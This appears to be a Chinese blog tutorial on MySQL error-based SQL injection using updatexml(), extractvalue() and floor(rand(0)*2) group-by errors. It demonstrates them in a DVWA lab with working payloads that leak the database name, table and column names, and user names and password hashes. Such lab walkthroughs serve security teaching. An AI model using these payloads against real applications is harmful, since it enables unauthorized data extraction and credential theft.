sql注入之报错注入

怎么判断注入类型

方法一:id=1 and 1=2;若成功则是字符型失败则是数字型(数字型对比数值,字符型用引号将数字包裹则and不执行,不会报错)

方法二:id=2-1;如果可以运算则是数字型,如果不能运算则为字符型

闭合的作用

手工提交闭合符号,结束前一段查询语句,
后面即可加入其他语句,查询需要的参数

注释:

不需要的语句可以用注释符号'-+’或‘#’或'%23注释掉,利用注释符号暂时将程序段脱离运行。
把某段程序“注释掉”,就是让它暂时不运行(而非删除掉)

SQL注入分类:

  • 回显正常---> 联合查询  union select
  • 回显报错---> Duplicate entry()
                         extractvalue()
                    updatexml()
  • 盲注        --->布尔型盲注
                          基于时间的盲注sleep()
  • 起默写一下SQL注入的核心语句吧,巩固记忆的同时,方便后续注入的使用~

    information_schema

    schemata(schema_name)

    tables(table_schema,table_name)

    columns(table_schema,table_name,column_name)

    select schema_name from information_schema.schemata;

    select table_name from information_schema.tables where table_schema='dvwa';

    select column_name from information_schema.columns where table_name='users' and table_schema='dvwa';

    select concat(username,password) from dvwa.users;

xpath报错注入(extractvalue和updatexml)

一、知识铺垫(请认真研读)

  • 在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

    updatexml()

    extractvalue()

    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
     
  • updatexml()函数
    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

    • 作用:改变文档中符合条件的节点的值

    • 语法: updatexml(XML_document,XPath_string,new_value)

    • 第一个参数:是string格式,为XML文档对象的名称,文中为Doc

    • 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】

    • 第三个参数:string格式,替换查找到的符合条件的数据

    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误

  • extractvalue()函数
    • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • select user,password from users where user_id=1 and (extractvalue(1,0x7e));

    • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误

二、updatexml()报错注入实战(基于dvwa平台)

前景提示:本人在虚拟机中搭建好了dvwa平台,在本机中完成SQL注入实战,加载dvwa直接进入SQL注入模块,我这里的等级为low。

我将自己构造的payload语句进行加粗显示,剩下的都是固定格式。
开始注入

爆出数据库及相关信息
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

这里是字符串的分解:

  • 1':这是一个简单的数字1,后面跟着一个单引号,可能用于闭合一个SQL字段值。
  • and:SQL逻辑操作符,用于连接多个条件。
  • updatexml:这是一个MySQL函数,用于更新XML类型的数据。在SQL注入攻击中,它可能被滥用来执行不符合预期的操作。
  • concat(0x7e, ...)concat 函数用于连接多个字符串,0x7e 是十六进制表示的字符,等同于ASCII字符 ~
  • database():一个MySQL函数,返回当前数据库的名称。
  • user():一个MySQL函数,返回执行当前数据库连接的用户的用户名。
  • @@datadir:MySQL系统变量,包含MySQL数据目录的路径。
  • 1)#:这可能是尝试结束SQL语句的尝试,但通常后面跟着的应该是注释或进一步的SQL代码。

这个字符串的目的可能是尝试执行一个SQL注入攻击,通过构造恶意的输入来获取数据库服务器的敏感信息,如数据库名称、用户名和数据目录路径。这是通过将这些信息连接起来,并尝试利用 updatexml 函数来进行的。

爆当前数据库表信息

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

这里是字符串的分解:

  • 1':尝试闭合前一个SQL语句的引号。
  • and:SQL逻辑操作符,用于连接多个条件。
  • updatexml:MySQL函数,用于修改XML类型的数据。在这里,它被滥用来执行一个期望之外的操作。
  • concat(0x7e,...,0x7e)concat 函数用于连接字符串,0x7e 是十六进制表示的字符,ASCII码中对应的是 ~ 字符。
  • (select group_concat(table_name) from information_schema.tables where table_schema=database()):一个子查询,使用 group_concat 函数从 information_schema.tables 表中获取当前数据库的所有表名,并连接它们成一个单一的字符串。information_schema 是MySQL的系统数据库,包含有关其他数据库的元数据。
  • 1) #:尝试结束SQL语句,并用 # 注释掉后续的内容,以避免执行。

这个攻击尝试获取当前数据库的所有表名,并将其作为字符串返回。

 注:此处使用group_concat()函数进行输出,否则会出现错误。如下图所示。

爆user表字段信息

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

  • (select group_concat(column_name) from information_schema.columns ...:一个子查询,使用 group_concat 函数从 information_schema.columns 表中获取 dvwa 数据库中 users 表的所有列名,并将它们连接成一个单一的字符串。
  • where table_schema='dvwa' and table_name='users':子查询的条件,指定了要查询的数据库和表名。

这种类型的SQL注入攻击利用了应用程序对用户输入的不充分过滤或参数化。如果应用程序没有正确地转义或清理用户输入,攻击者就可以注入恶意的SQL代码来执行。

爆数据库内容

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

  • (select group_concat(first_name,0x7e,last_name) from dvwa.users):这是一个SQL子查询,group_concat 函数用于将多个行的值合并为一个字符串。这里它被用来合并 first_namelast_name 字段的值,并在它们之间插入 ~ 字符。
  • from dvwa.users:指定了要从 dvwa 数据库的 users 表中选择数据。
  • 三、extractvalue()报错注入实战(基于dvwa平台)

  • extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。

  • 1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

  • 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

  • 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函数报错注入

一、概述

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

二、函数理解

附带一下本次解释函数的表创建步骤(不再附图)以及数据的填充。

create database test1;
use test1;

create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);

insert into czs(id,name) values(1,'chenzishuo');
insert into czs(id,name) values(2,'zhangsan');
insert into czs(id,name) values(3,'lisi');
insert into czs(id,name) values(4,'wangwu');

  • rand()函数
    rand()可以产生一个在0和1之间的随机数
  • 这里是查询的分解:
  • SELECT count(*):选择 information_schema.character_sets 表中的所有行数。
  • FLOOR(RAND(0) * 2) AS xRAND(0) 是一个生成0到1之间随机数的函数,这里使用常量0作为种子。* 2 将随机数范围扩展到0到2之间,然后 FLOOR() 函数将这个随机数向下取整到最近的整数,结果为0或1。这个表达式被重命名为 x
  • FROM information_schema.character_sets:指定查询的来源是 information_schema 数据库中的 character_sets 表。
  • GROUP BY x:根据上一步生成的随机数 x 进行分组。

这个查询的目的是尝试统计 information_schema.character_sets 表中不同随机数 x 的出现次数。然而,由于 RAND() 函数每次执行都可能产生不同的结果,这个查询的结果可能每次执行都会有所不同。

此外,这个查询可能被用于一种称为 "Blind SQL Injection"(盲SQL注入)的攻击中。在盲SQL注入中,攻击者无法直接看到查询的结果,而是通过应用程序的行为(例如,通过检查页面加载时间或错误消息)来推断查询的结果。

 可以看出,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

 floor (rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面*2就变成了返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1。
并且结合固定的随机数种子0,它每次产生的随机数列都是相同的值。
此处的myclass 表为含有四行数据的表。
结合上述的函数,每次产生的随机数列都是 0 1 1 0

 group by 函数
group by 函数,作用就是分类汇总。
等一下再说group by,我们首先看一下我的表。

再在id 和 name后分别放入a x,意思就是id显示为a name显示为x。

 然后使用group by 函数进行分组,并且按照x(name)进行排序。

友情提示:在使用group by 函数进行分类时,会因为mysql版本问题而产生问题,主要是启用了ONLY_FULL_GROUP_BY SQL模式(默认情况下),MySQL将拒绝选择列表,HAVING条件或ORDER BY列表的查询引用在GROUP BY子句中既未命名的非集合列,也不在功能上依赖于它们。(或者自行百度解决)

count(*)函数
count(*)函数作用为统计结果的记录数。

  •  这就是对重复的数据进行整合计数,x就是每个name的数量,我这里每个只有一个当然count(*)都为1了。

  • 综合使用产生报错
    select count(*),floor(rand(0)*2) x from czs group by x;
    当count(*)和group by x同时执行时,就会爆出duplicate entry错误。

根据前面的函数,这句话是统计后面的floor(rand(0)*2)from czs产生的随机数种类并计算数量,0110,应该是两个两个,但是最后却报错了。

报错原因解析

通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)

如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

三、实战注入(基于dvwa平台)

①判断是否存在报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

 可以看出存在报错注入
②爆出当前数据库名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
dvwa前的1 是哪个随机数,不要大惊小怪哦~


③爆出表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#


id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#


④爆出字段名

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

 改变limit限定数值,可以得出当前的字段 user_id first_name user password


⑤爆出user和password

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

再解码可得 admin-password

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值